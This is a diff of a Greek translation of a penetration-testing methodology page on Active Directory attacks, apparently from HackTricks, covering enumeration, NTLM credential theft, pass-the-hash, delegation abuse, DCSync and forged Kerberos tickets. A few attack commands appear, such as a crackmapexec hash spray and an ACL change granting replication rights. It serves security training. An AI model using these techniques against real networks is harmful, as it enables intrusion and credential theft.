> Ωστόσο, θα πρέπει να έχετε το **όνομα των ατόμων που εργάζονται στην εταιρεία** από το βήμα αναγνώρισης που θα έπρεπε να έχετε εκτελέσει πριν από αυτό. Με το όνομα και το επώνυμο μπορείτε να χρησιμοποιήσετε το σενάριο [**namemash.py**](https://gist.github.com/superkojiman/11076951) για να δημιουργήσετε πιθανά έγκυρα ονόματα χρηστών. > Ωστόσο, θα πρέπει να έχετε το **όνομα των ατόμων που εργάζονται στην εταιρεία** από το βήμα αναγνώρισης που θα έπρεπε να έχετε εκτελέσει πριν από αυτό. Με το όνομα και το επώνυμο μπορείτε να χρησιμοποιήσετε το σενάριο [**namemash.py**](https://gist.github.com/superkojiman/11076951) για να δημιουργήσετε πιθανά έγκυρα ονόματα χρηστών.
@ -133,7 +133,7 @@ password-spraying.md
### Κλοπή NTLM Creds ### Κλοπή NTLM Creds
Αν μπορείτε να **έχετε πρόσβαση σε άλλους υπολογιστές ή κοινόχρηστα** με τον **null ή guest user** μπορείτε να **τοποθετήσετε αρχεία** (όπως ένα αρχείο SCF) που αν αποκτηθούν με κάποιο τρόπο θα **ενεργοποιήσουν μια NTML αυθεντικοποίηση εναντίον σας** ώστε να μπορείτε να **κλέψετε** την **NTLM πρόκληση** για να την σπάσετε: Αν μπορείτε να **έχετε πρόσβαση σε άλλους υπολογιστές ή κοινόχρηστα** με τον **null ή guest user** μπορείτε να **τοποθετήσετε αρχεία** (όπως ένα αρχείο SCF) που αν με κάποιο τρόπο αποκτηθούν θα **ενεργοποιήσουν μια NTML αυθεντικοποίηση εναντίον σας** ώστε να μπορείτε να **κλέψετε** την **NTLM challenge** για να την σπάσετε:
{{#ref}} {{#ref}}
../ntlm/places-to-steal-ntlm-creds.md ../ntlm/places-to-steal-ntlm-creds.md
@ -143,7 +143,7 @@ password-spraying.md
Για αυτή τη φάση πρέπει να έχετε **συμβιβαστεί τις πιστοποιήσεις ή μια συνεδρία ενός έγκυρου λογαριασμού τομέα.** Αν έχετε κάποιες έγκυρες πιστοποιήσεις ή μια shell ως χρήστης τομέα, **θα πρέπει να θυμάστε ότι οι επιλογές που δόθηκαν πριν είναι ακόμα επιλογές για να συμβιβάσετε άλλους χρήστες**. Για αυτή τη φάση πρέπει να έχετε **συμβιβαστεί τις πιστοποιήσεις ή μια συνεδρία ενός έγκυρου λογαριασμού τομέα.** Αν έχετε κάποιες έγκυρες πιστοποιήσεις ή μια shell ως χρήστης τομέα, **θα πρέπει να θυμάστε ότι οι επιλογές που δόθηκαν πριν είναι ακόμα επιλογές για να συμβιβάσετε άλλους χρήστες**.
Πριν ξεκινήσετε την αυθεντικοποιημένη καταγραφή θα πρέπει να γνωρίζετε ποιο είναι το **πρόβλημα διπλού hop Kerberos.** Πριν ξεκινήσετε την αυθεντικοποιημένη καταγραφή θα πρέπει να γνωρίζετε ποιο είναι το **πρόβλημα διπλής αναπήδησης Kerberos.**
{{#ref}} {{#ref}}
kerberos-double-hop-problem.md kerberos-double-hop-problem.md
@ -169,7 +169,7 @@ kerberos-double-hop-problem.md
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS) - [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
- **Εξαγωγή όλων των χρηστών του τομέα** - **Εξαγωγή όλων των χρηστών του τομέα**
Είναι πολύ εύκολο να αποκτήσετε όλα τα ονόματα χρηστών του τομέα από τα Windows (`net user /domain`, `Get-DomainUser` ή `wmic useraccount get name,sid`). Στο Linux, μπορείτε να χρησιμοποιήσετε: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` ή `enum4linux -a -u "user" -p "password" <DC IP>` Είναι πολύ εύκολο να αποκτήσετε όλα τα ονόματα χρηστών του τομέα από τα Windows (`net user /domain` ,`Get-DomainUser` ή `wmic useraccount get name,sid`). Στο Linux, μπορείτε να χρησιμοποιήσετε: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` ή `enum4linux -a -u "user" -p "password" <DC IP>`
> Ακόμα και αν αυτή η ενότητα καταγραφής φαίνεται μικρή, είναι το πιο σημαντικό μέρος όλων. Αποκτήστε πρόσβαση στους συνδέσμους (κυρίως αυτόν του cmd, powershell, powerview και BloodHound), μάθετε πώς να καταγράφετε ένα τομέα και εξασκηθείτε μέχρι να νιώσετε άνετα. Κατά τη διάρκεια μιας αξιολόγησης, αυτή θα είναι η κρίσιμη στιγμή για να βρείτε το δρόμο σας προς DA ή να αποφασίσετε ότι δεν μπορεί να γίνει τίποτα. > Ακόμα και αν αυτή η ενότητα καταγραφής φαίνεται μικρή, είναι το πιο σημαντικό μέρος όλων. Αποκτήστε πρόσβαση στους συνδέσμους (κυρίως αυτόν του cmd, powershell, powerview και BloodHound), μάθετε πώς να καταγράφετε ένα τομέα και εξασκηθείτε μέχρι να νιώσετε άνετα. Κατά τη διάρκεια μιας αξιολόγησης, αυτή θα είναι η κρίσιμη στιγμή για να βρείτε το δρόμο σας προς DA ή να αποφασίσετε ότι δεν μπορεί να γίνει τίποτα.
@ -185,7 +185,7 @@ kerberoast.md
### Απομακρυσμένη σύνδεση (RDP, SSH, FTP, Win-RM, κ.λπ.) ### Απομακρυσμένη σύνδεση (RDP, SSH, FTP, Win-RM, κ.λπ.)
Μόλις αποκτήσετε κάποιες πιστοποιήσεις μπορείτε να ελέγξετε αν έχετε πρόσβαση σε οποιαδήποτε **μηχανή**. Για αυτό το σκοπό, μπορείτε να χρησιμοποιήσετε το **CrackMapExec** για να προσπαθήσετε να συνδεθείτε σε διάφορους διακομιστές με διαφορετικά πρωτόκολλα, ανάλογα με τις σάρωσες θυρών σας. Μόλις αποκτήσετε κάποιες πιστοποιήσεις μπορείτε να ελέγξετε αν έχετε πρόσβαση σε οποιαδήποτε **μηχανή**. Για αυτό το σκοπό, μπορείτε να χρησιμοποιήσετε το **CrackMapExec** για να προσπαθήσετε να συνδεθείτε σε διάφορους διακομιστές με διαφορετικά πρωτόκολλα, ανάλογα με τις σάρωσεις θυρών σας.
### Τοπική Κλιμάκωση Προνομίων ### Τοπική Κλιμάκωση Προνομίων
@ -195,7 +195,7 @@ kerberoast.md
### Τρέχοντα Εισιτήρια Συνεδρίας ### Τρέχοντα Εισιτήρια Συνεδρίας
Είναι πολύ **απίθανο** να βρείτε **εισιτήρια** στον τρέχοντα χρήστη **που να σας δίνουν άδεια πρόσβασης** σε απροσδόκητους πόρους, αλλά μπορείτε να ελέγξετε: Είναι πολύ **απίθανο** να βρείτε **εισιτήρια** στον τρέχοντα χρήστη **που σας δίνουν άδεια πρόσβασης** σε απροσδόκητους πόρους, αλλά μπορείτε να ελέγξετε:
```bash ```bash
## List all tickets (if not admin, only current user tickets) ## List all tickets (if not admin, only current user tickets)
.\Rubeus.exe triage .\Rubeus.exe triage
@ -205,9 +205,9 @@ kerberoast.md
``` ```
### NTML Relay ### NTML Relay
Αν έχετε καταφέρει να καταγράψετε το active directory θα έχετε **περισσότερα emails και καλύτερη κατανόηση του δικτύου**. Μπορεί να είστε σε θέση να αναγκάσετε NTML [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.** Αν έχετε καταφέρει να καταγράψετε το active directory θα έχετε **περισσότερα emails και καλύτερη κατανόηση του δικτύου**. Μπορείτε να αναγκάσετε NTML [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
### **Ψάξτε για Creds σε Κοινές Χρήσεις Υπολογιστών** ### **Ψάξτε για Creds σε Κοινόχρηστα Υπολογιστές**
Τώρα που έχετε κάποιες βασικές διαπιστεύσεις θα πρέπει να ελέγξετε αν μπορείτε να **βρείτε** οποιαδήποτε **ενδιαφέροντα αρχεία που μοιράζονται μέσα στο AD**. Μπορείτε να το κάνετε αυτό χειροκίνητα αλλά είναι μια πολύ βαρετή επαναλαμβανόμενη εργασία (και περισσότερο αν βρείτε εκατοντάδες έγγραφα που πρέπει να ελέγξετε). Τώρα που έχετε κάποιες βασικές διαπιστεύσεις θα πρέπει να ελέγξετε αν μπορείτε να **βρείτε** οποιαδήποτε **ενδιαφέροντα αρχεία που μοιράζονται μέσα στο AD**. Μπορείτε να το κάνετε αυτό χειροκίνητα αλλά είναι μια πολύ βαρετή επαναλαμβανόμενη εργασία (και περισσότερο αν βρείτε εκατοντάδες έγγραφα που πρέπει να ελέγξετε).
@ -215,7 +215,7 @@ kerberoast.md
### Κλέψτε NTLM Creds ### Κλέψτε NTLM Creds
Αν μπορείτε να **έχετε πρόσβαση σε άλλους υπολογιστές ή κοινές χρήσεις** μπορείτε να **τοποθετήσετε αρχεία** (όπως ένα αρχείο SCF) που αν με κάποιο τρόπο αποκτηθούν θα **προκαλέσουν μια NTML αυθεντικοποίηση εναντίον σας** ώστε να μπορείτε να **κλέψετε** την **NTLM πρόκληση** για να την σπάσετε: Αν μπορείτε να **έχετε πρόσβαση σε άλλους υπολογιστές ή κοινόχρηστα** μπορείτε να **τοποθετήσετε αρχεία** (όπως ένα SCF αρχείο) που αν με κάποιο τρόπο προσπελαστούν θα **προκαλέσουν μια NTML αυθεντικοποίηση εναντίον σας** ώστε να μπορείτε να **κλέψετε** την **NTLM πρόκληση** για να την σπάσετε:
{{#ref}} {{#ref}}
../ntlm/places-to-steal-ntlm-creds.md ../ntlm/places-to-steal-ntlm-creds.md
@ -229,25 +229,25 @@ kerberoast.md
printnightmare.md printnightmare.md
{{#endref}} {{#endref}}
## Ανάβαση προνομίων στο Active Directory ΜΕ προνομιακές διαπιστεύσεις/συνεδρία ## Ανάβαση δικαιωμάτων στο Active Directory ΜΕ προνομιακές διαπιστεύσεις/συνεδρία
**Για τις παρακάτω τεχνικές ένας κανονικός χρήστης τομέα δεν είναι αρκετός, χρειάζεστε κάποιες ειδικές προνομίες/διαπιστεύσεις για να εκτελέσετε αυτές τις επιθέσεις.** **Για τις παρακάτω τεχνικές ένας κανονικός χρήστης τομέα δεν είναι αρκετός, χρειάζεστε κάποιες ειδικές προνομίες/διαπιστεύσεις για να εκτελέσετε αυτές τις επιθέσεις.**
### Εξαγωγή Hash ### Εξαγωγή Hash
Ελπίζω να έχετε καταφέρει να **συμβιβάσετε κάποιο τοπικό διαχειριστή** χρησιμοποιώντας [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) συμπεριλαμβανομένων των relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [αναβάθμιση προνομίων τοπικά](../windows-local-privilege-escalation/).\ Ελπίζω να έχετε καταφέρει να **συμβιβάσετε κάποιο τοπικό διαχειριστή** χρησιμοποιώντας [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) συμπεριλαμβανομένων των relay, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [αναβάθμιση προνομίων τοπικά](../windows-local-privilege-escalation/).\
Τότε, είναι ώρα να εξάγετε όλους τους hash στη μνήμη και τοπικά.\ Τότε, είναι ώρα να εξάγετε όλα τα hashes στη μνήμη και τοπικά.\
[**Διαβάστε αυτή τη σελίδα για διαφορετικούς τρόπους απόκτησης των hash.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) [**Διαβάστε αυτή τη σελίδα για διαφορετικούς τρόπους απόκτησης των hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### Περάστε τον Hash ### Περάστε το Hash
**Μόλις έχετε τον hash ενός χρήστη**, μπορείτε να τον χρησιμοποιήσετε για να **παριστάνετε** αυτόν.\ **Μόλις έχετε το hash ενός χρήστη**, μπορείτε να το χρησιμοποιήσετε για να **παριστάνετε** αυτόν.\
Πρέπει να χρησιμοποιήσετε κάποιο **εργαλείο** που θα **εκτελέσει** την **NTLM αυθεντικοποίηση χρησιμοποιώντας** αυτόν τον **hash**, **ή** μπορείτε να δημιουργήσετε μια νέα **sessionlogon** και να **εισάγετε** αυτόν τον **hash** μέσα στο **LSASS**, έτσι ώστε όταν οποιαδήποτε **NTLM αυθεντικοποίηση εκτελείται**, αυτός ο **hash θα χρησιμοποιηθεί.** Η τελευταία επιλογή είναι αυτό που κάνει το mimikatz.\ Πρέπει να χρησιμοποιήσετε κάποιο **εργαλείο** που θα **εκτελέσει** την **NTLM αυθεντικοποίηση χρησιμοποιώντας** αυτό το **hash**, **ή** μπορείτε να δημιουργήσετε μια νέα **sessionlogon** και να **εισάγετε** αυτό το **hash** μέσα στο **LSASS**, έτσι ώστε όταν οποιαδήποτε **NTLM αυθεντικοποίηση εκτελείται**, αυτό το **hash θα χρησιμοποιηθεί.** Η τελευταία επιλογή είναι αυτό που κάνει το mimikatz.\
[**Διαβάστε αυτή τη σελίδα για περισσότερες πληροφορίες.**](../ntlm/#pass-the-hash) [**Διαβάστε αυτή τη σελίδα για περισσότερες πληροφορίες.**](../ntlm/#pass-the-hash)
### Over Pass the Hash/Pass the Key ### Over Pass the Hash/Pass the Key
Αυτή η επίθεση στοχεύει να **χρησιμοποιήσει τον NTLM hash του χρήστη για να ζητήσει Kerberos tickets**, ως εναλλακτική στην κοινή Pass The Hash μέσω του πρωτοκόλλου NTLM. Επομένως, αυτό θα μπορούσε να είναι ιδιαίτερα **χρήσιμο σε δίκτυα όπου το πρωτόκολλο NTLM είναι απενεργοποιημένο** και μόνο **Kerberos επιτρέπεται** ως πρωτόκολλο αυθεντικοποίησης. Αυτή η επίθεση στοχεύει να **χρησιμοποιήσει το NTLM hash του χρήστη για να ζητήσει Kerberos tickets**, ως εναλλακτική στο κοινό Pass The Hash μέσω του πρωτοκόλλου NTLM. Επομένως, αυτό θα μπορούσε να είναι ιδιαίτερα **χρήσιμο σε δίκτυα όπου το πρωτόκολλο NTLM είναι απενεργοποιημένο** και μόνο **Kerberos επιτρέπεται** ως πρωτόκολλο αυθεντικοποίησης.
{{#ref}} {{#ref}}
over-pass-the-hash-pass-the-key.md over-pass-the-hash-pass-the-key.md
@ -263,7 +263,7 @@ pass-the-ticket.md
### Επαναχρησιμοποίηση Διαπιστεύσεων ### Επαναχρησιμοποίηση Διαπιστεύσεων
Αν έχετε τον **hash** ή τον **κωδικό πρόσβασης** ενός **τοπικού διαχειριστή** θα πρέπει να προσπαθήσετε να **συνδεθείτε τοπικά** σε άλλους **υπολογιστές** με αυτόν. Αν έχετε το **hash** ή τον **κωδικό πρόσβασης** ενός **τοπικού διαχειριστή** θα πρέπει να προσπαθήσετε να **συνδεθείτε τοπικά** σε άλλους **υπολογιστές** με αυτό.
```bash ```bash
# Local Auth Spray (once you found some local admin pass or hash) # Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine ## --local-auth flag indicate to only try 1 time per machine
@ -274,8 +274,8 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
### Κατάχρηση MSSQL & Εμπιστευμένοι Σύνδεσμοι ### Κατάχρηση MSSQL & Εμπιστευμένοι Σύνδεσμοι
Εάν ένας χρήστης έχει δικαιώματα να **πρόσβαση σε MSSQL instances**, θα μπορούσε να το χρησιμοποιήσει για να **εκτελέσει εντολές** στον MSSQL host (αν τρέχει ως SA), να **κλέψει** το NetNTLM **hash** ή ακόμα και να εκτελέσει μια **επίθεση** **relay**.\ Εάν ένας χρήστης έχει δικαιώματα για **πρόσβαση σε MSSQL instances**, θα μπορούσε να είναι σε θέση να το χρησιμοποιήσει για να **εκτελέσει εντολές** στον MSSQL host (αν τρέχει ως SA), να **κλέψει** το NetNTLM **hash** ή ακόμη και να εκτελέσει μια **επίθεση** **relay**.\
Επίσης, αν ένα MSSQL instance είναι εμπιστευμένο (σύνδεσμος βάσης δεδομένων) από ένα διαφορετικό MSSQL instance. Εάν ο χρήστης έχει δικαιώματα πάνω στη εμπιστευμένη βάση δεδομένων, θα είναι σε θέση να **χρησιμοποιήσει τη σχέση εμπιστοσύνης για να εκτελέσει ερωτήματα και στην άλλη instance**. Αυτές οι εμπιστοσύνες μπορούν να αλυσωθούν και σε κάποιο σημείο ο χρήστης μπορεί να είναι σε θέση να βρει μια κακώς ρυθμισμένη βάση δεδομένων όπου μπορεί να εκτελέσει εντολές.\ Επίσης, εάν ένα MSSQL instance είναι εμπιστευμένο (σύνδεσμος βάσης δεδομένων) από ένα διαφορετικό MSSQL instance. Εάν ο χρήστης έχει δικαιώματα πάνω στη trusted βάση δεδομένων, θα είναι σε θέση να **χρησιμοποιήσει τη σχέση εμπιστοσύνης για να εκτελέσει ερωτήματα και στην άλλη instance**. Αυτές οι εμπιστοσύνες μπορούν να αλυσωθούν και σε κάποιο σημείο ο χρήστης μπορεί να είναι σε θέση να βρει μια κακώς ρυθμισμένη βάση δεδομένων όπου μπορεί να εκτελέσει εντολές.\
**Οι σύνδεσμοι μεταξύ των βάσεων δεδομένων λειτουργούν ακόμη και σε διασυνδέσεις δασών.** **Οι σύνδεσμοι μεταξύ των βάσεων δεδομένων λειτουργούν ακόμη και σε διασυνδέσεις δασών.**
{{#ref}} {{#ref}}
@ -285,7 +285,7 @@ abusing-ad-mssql.md
### Απεριόριστη Αντιπροσώπευση ### Απεριόριστη Αντιπροσώπευση
Εάν βρείτε οποιοδήποτε αντικείμενο Υπολογιστή με το χαρακτηριστικό [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) και έχετε δικαιώματα τομέα στον υπολογιστή, θα μπορείτε να εξάγετε TGTs από τη μνήμη κάθε χρήστη που συνδέεται στον υπολογιστή.\ Εάν βρείτε οποιοδήποτε αντικείμενο Υπολογιστή με το χαρακτηριστικό [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) και έχετε δικαιώματα τομέα στον υπολογιστή, θα μπορείτε να εξάγετε TGTs από τη μνήμη κάθε χρήστη που συνδέεται στον υπολογιστή.\
Έτσι, αν ένας **Domain Admin συνδεθεί στον υπολογιστή**, θα μπορείτε να εξάγετε το TGT του και να τον προσποιηθείτε χρησιμοποιώντας [Pass the Ticket](pass-the-ticket.md).\ Έτσι, εάν ένας **Domain Admin συνδεθεί στον υπολογιστή**, θα μπορείτε να εξάγετε το TGT του και να τον προσποιηθείτε χρησιμοποιώντας [Pass the Ticket](pass-the-ticket.md).\
Χάρη στην περιορισμένη αντιπροσώπευση, θα μπορούσατε ακόμη και να **συμβιβάσετε αυτόματα έναν Εκτυπωτή** (ελπίζουμε να είναι ένας DC). Χάρη στην περιορισμένη αντιπροσώπευση, θα μπορούσατε ακόμη και να **συμβιβάσετε αυτόματα έναν Εκτυπωτή** (ελπίζουμε να είναι ένας DC).
{{#ref}} {{#ref}}
@ -295,7 +295,7 @@ unconstrained-delegation.md
### Περιορισμένη Αντιπροσώπευση ### Περιορισμένη Αντιπροσώπευση
Εάν ένας χρήστης ή υπολογιστής επιτρέπεται για "Περιορισμένη Αντιπροσώπευση", θα είναι σε θέση να **προσποιηθεί οποιονδήποτε χρήστη για να αποκτήσει πρόσβαση σε ορισμένες υπηρεσίες σε έναν υπολογιστή**.\ Εάν ένας χρήστης ή υπολογιστής επιτρέπεται για "Περιορισμένη Αντιπροσώπευση", θα είναι σε θέση να **προσποιηθεί οποιονδήποτε χρήστη για να αποκτήσει πρόσβαση σε ορισμένες υπηρεσίες σε έναν υπολογιστή**.\
Έτσι, αν **συμβιβάσετε το hash** αυτού του χρήστη/υπολογιστή, θα μπορείτε να **προσποιηθείτε οποιονδήποτε χρήστη** (ακόμα και τους διαχειριστές τομέα) για να αποκτήσετε πρόσβαση σε ορισμένες υπηρεσίες. Έτσι, εάν **συμβιβάσετε το hash** αυτού του χρήστη/υπολογιστή, θα μπορείτε να **προσποιηθείτε οποιονδήποτε χρήστη** (ακόμη και domain admins) για να αποκτήσετε πρόσβαση σε ορισμένες υπηρεσίες.
{{#ref}} {{#ref}}
constrained-delegation.md constrained-delegation.md
@ -311,7 +311,7 @@ resource-based-constrained-delegation.md
### Κατάχρηση ACLs ### Κατάχρηση ACLs
Ο συμβιβασμένος χρήστης θα μπορούσε να έχει κάποια **ενδιαφέροντα δικαιώματα πάνω σε ορισμένα αντικείμενα τομέα** που θα σας επιτρέψουν να **κινηθείτε** πλάγια/**να κλιμακώσετε** δικαιώματα. Ο συμβιβασμένος χρήστης θα μπορούσε να έχει κάποια **ενδιαφέροντα δικαιώματα σε ορισμένα αντικείμενα τομέα** που θα σας επέτρεπαν να **κινηθείτε** πλάγια/**να κλιμακώσετε** δικαιώματα.
{{#ref}} {{#ref}}
acl-persistence-abuse/ acl-persistence-abuse/
@ -319,7 +319,7 @@ acl-persistence-abuse/
### Κατάχρηση Υπηρεσίας Εκτυπωτή Spooler ### Κατάχρηση Υπηρεσίας Εκτυπωτή Spooler
Η ανακάλυψη μιας **υπηρεσίας Spool που ακούει** εντός του τομέα μπορεί να **καταχραστεί** για να **αποκτήσει νέες διαπιστεύσεις** και **να κλιμακώσει δικαιώματα**. Η ανακάλυψη μιας **υπηρεσίας Spool** που ακούει εντός του τομέα μπορεί να **καταχραστεί** για να **αποκτηθούν νέα διαπιστευτήρια** και **να κλιμακωθούν δικαιώματα**.
{{#ref}} {{#ref}}
printers-spooler-service-abuse.md printers-spooler-service-abuse.md
@ -327,7 +327,7 @@ printers-spooler-service-abuse.md
### Κατάχρηση Συνεδριών Τρίτων ### Κατάχρηση Συνεδριών Τρίτων
Εάν **άλλοι χρήστες** **πρόσβαση** στη **συμβιβασμένη** μηχανή, είναι δυνατόν να **συγκεντρώσετε διαπιστεύσεις από τη μνήμη** και ακόμη και να **εισάγετε σήματα στις διαδικασίες τους** για να τους προσποιηθείτε.\ Εάν **άλλοι χρήστες** **πρόσβαση** στη **συμβιβασμένη** μηχανή, είναι πιθανό να **συγκεντρώσουν διαπιστευτήρια από τη μνήμη** και ακόμη και να **εισάγουν beacon στις διαδικασίες τους** για να τους προσποιηθούν.\
Συνήθως οι χρήστες θα έχουν πρόσβαση στο σύστημα μέσω RDP, οπότε εδώ έχετε πώς να εκτελέσετε μερικές επιθέσεις σε συνεδρίες RDP τρίτων: Συνήθως οι χρήστες θα έχουν πρόσβαση στο σύστημα μέσω RDP, οπότε εδώ έχετε πώς να εκτελέσετε μερικές επιθέσεις σε συνεδρίες RDP τρίτων:
{{#ref}} {{#ref}}
@ -336,7 +336,7 @@ rdp-sessions-abuse.md
### LAPS ### LAPS
Το **LAPS** παρέχει ένα σύστημα για τη διαχείριση του **τοπικού κωδικού πρόσβασης διαχειριστή** σε υπολογιστές που ανήκουν σε τομέα, διασφαλίζοντας ότι είναι **τυχαίος**, μοναδικός και συχνά **αλλαγμένος**. Αυτοί οι κωδικοί πρόσβασης αποθηκεύονται στο Active Directory και η πρόσβαση ελέγχεται μέσω ACLs μόνο για εξουσιοδοτημένους χρήστες. Με επαρκή δικαιώματα για πρόσβαση σε αυτούς τους κωδικούς πρόσβασης, γίνεται δυνατή η μεταφορά σε άλλους υπολογιστές. **LAPS** παρέχει ένα σύστημα για τη διαχείριση του **τοπικού κωδικού πρόσβασης διαχειριστή** σε υπολογιστές που ανήκουν σε τομέα, διασφαλίζοντας ότι είναι **τυχαίος**, μοναδικός και συχνά **αλλαγμένος**. Αυτοί οι κωδικοί πρόσβασης αποθηκεύονται στο Active Directory και η πρόσβαση ελέγχεται μέσω ACLs μόνο για εξουσιοδοτημένους χρήστες. Με επαρκή δικαιώματα για πρόσβαση σε αυτούς τους κωδικούς πρόσβασης, γίνεται δυνατή η μεταπήδηση σε άλλους υπολογιστές.
{{#ref}} {{#ref}}
laps.md laps.md
@ -344,7 +344,7 @@ laps.md
### Κλοπή Πιστοποιητικών ### Κλοπή Πιστοποιητικών
Η **συγκέντρωση πιστοποιητικών** από τη συμβιβασμένη μηχανή θα μπορούσε να είναι ένας τρόπος για να κλιμακώσετε δικαιώματα μέσα στο περιβάλλον: **Η συγκέντρωση πιστοποιητικών** από τη συμβιβασμένη μηχανή θα μπορούσε να είναι ένας τρόπος για να κλιμακώσετε δικαιώματα μέσα στο περιβάλλον:
{{#ref}} {{#ref}}
ad-certificates/certificate-theft.md ad-certificates/certificate-theft.md
@ -352,7 +352,7 @@ ad-certificates/certificate-theft.md
### Κατάχρηση Προτύπων Πιστοποιητικών ### Κατάχρηση Προτύπων Πιστοποιητικών
Εάν είναι ρυθμισμένα **ευάλωτα πρότυπα**, είναι δυνατόν να τα καταχραστείτε για να κλιμακώσετε δικαιώματα: Εάν **ευάλωτα πρότυπα** είναι ρυθμισμένα, είναι δυνατόν να τα καταχραστείτε για να κλιμακώσετε δικαιώματα:
{{#ref}} {{#ref}}
ad-certificates/domain-escalation.md ad-certificates/domain-escalation.md
@ -360,9 +360,9 @@ ad-certificates/domain-escalation.md
## Μετά την εκμετάλλευση με λογαριασμό υψηλών δικαιωμάτων ## Μετά την εκμετάλλευση με λογαριασμό υψηλών δικαιωμάτων
### Εξαγωγή Διαπιστεύσεων Τομέα ### Εξαγωγή Διαπιστευτηρίων Τομέα
Μόλις αποκτήσετε δικαιώματα **Domain Admin** ή ακόμα καλύτερα **Enterprise Admin**, μπορείτε να **εξάγετε** τη **βάση δεδομένων τομέα**: _ntds.dit_. Μόλις αποκτήσετε **Domain Admin** ή ακόμη καλύτερα **Enterprise Admin** δικαιώματα, μπορείτε να **εξάγετε** τη **βάση δεδομένων τομέα**: _ntds.dit_.
[**Περισσότερες πληροφορίες σχετικά με την επίθεση DCSync μπορείτε να βρείτε εδώ**](dcsync.md). [**Περισσότερες πληροφορίες σχετικά με την επίθεση DCSync μπορείτε να βρείτε εδώ**](dcsync.md).
@ -393,7 +393,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
### Silver Ticket ### Silver Ticket
Η **επίθεση Silver Ticket** δημιουργεί ένα **νόμιμο εισιτήριο Υπηρεσίας Εισιτηρίων (TGS)** για μια συγκεκριμένη υπηρεσία χρησιμοποιώντας το **NTLM hash** (για παράδειγμα, το **hash του λογαριασμού PC**). Αυτή η μέθοδος χρησιμοποιείται για να **αποκτήσει πρόσβαση στα δικαιώματα υπηρεσίας**. Η **επίθεση Silver Ticket** δημιουργεί ένα **νόμιμο εισιτήριο Υπηρεσίας Εισιτηρίων (TGS)** για μια συγκεκριμένη υπηρεσία χρησιμοποιώντας το **NTLM hash** (για παράδειγμα, το **hash του λογαριασμού PC**). Αυτή η μέθοδος χρησιμοποιείται για **πρόσβαση στα δικαιώματα υπηρεσίας**.
{{#ref}} {{#ref}}
silver-ticket.md silver-ticket.md
@ -417,9 +417,9 @@ golden-ticket.md
diamond-ticket.md diamond-ticket.md
{{#endref}} {{#endref}}
### **Επιμονή Λογαριασμών Πιστοποιητικών** ### **Επιμονή Λογαριασμού Πιστοποιητικών**
**Έχοντας πιστοποιητικά ενός λογαριασμού ή έχοντας τη δυνατότητα να τα ζητήσετε** είναι ένας πολύ καλός τρόπος για να μπορέσετε να επιμείνετε στον λογαριασμό των χρηστών (ακόμα και αν αλλάξει τον κωδικό πρόσβασης): **Έχοντας πιστοποιητικά ενός λογαριασμού ή έχοντας τη δυνατότητα να τα ζητήσετε** είναι ένας πολύ καλός τρόπος για να μπορέσετε να επιμείνετε στον λογαριασμό των χρηστών (ακόμη και αν αλλάξει τον κωδικό πρόσβασης):
{{#ref}} {{#ref}}
ad-certificates/account-persistence.md ad-certificates/account-persistence.md
@ -435,13 +435,13 @@ ad-certificates/domain-persistence.md
### Ομάδα AdminSDHolder ### Ομάδα AdminSDHolder
Το αντικείμενο **AdminSDHolder** στο Active Directory διασφαλίζει την ασφάλεια των **προνομιακών ομάδων** (όπως οι Domain Admins και Enterprise Admins) εφαρμόζοντας μια τυπική **Λίστα Ελέγχου Πρόσβασης (ACL)** σε αυτές τις ομάδες για να αποτρέψει μη εξουσιοδοτημένες αλλαγές. Ωστόσο, αυτή η δυνατότητα μπορεί να εκμεταλλευτεί; αν ένας επιτιθέμενος τροποποιήσει την ACL του AdminSDHolder για να δώσει πλήρη πρόσβαση σε έναν κανονικό χρήστη, αυτός ο χρήστης αποκτά εκτενή έλεγχο σε όλες τις προνομιακές ομάδες. Αυτό το μέτρο ασφαλείας, που προορίζεται για προστασία, μπορεί έτσι να έχει αντίκτυπο, επιτρέποντας αδικαιολόγητη πρόσβαση εκτός αν παρακολουθείται προσεκτικά. Το αντικείμενο **AdminSDHolder** στο Active Directory διασφαλίζει την ασφάλεια των **προνομιούχων ομάδων** (όπως οι Domain Admins και Enterprise Admins) εφαρμόζοντας μια τυπική **Λίστα Ελέγχου Πρόσβασης (ACL)** σε αυτές τις ομάδες για να αποτρέψει μη εξουσιοδοτημένες αλλαγές. Ωστόσο, αυτή η δυνατότητα μπορεί να εκμεταλλευτεί· εάν ένας επιτιθέμενος τροποποιήσει την ACL του AdminSDHolder για να δώσει πλήρη πρόσβαση σε έναν κανονικό χρήστη, αυτός ο χρήστης αποκτά εκτενή έλεγχο σε όλες τις προνομιούχες ομάδες. Αυτό το μέτρο ασφαλείας, που προορίζεται για προστασία, μπορεί έτσι να έχει αντίκτυπο, επιτρέποντας αδικαιολόγητη πρόσβαση εκτός αν παρακολουθείται προσεκτικά.
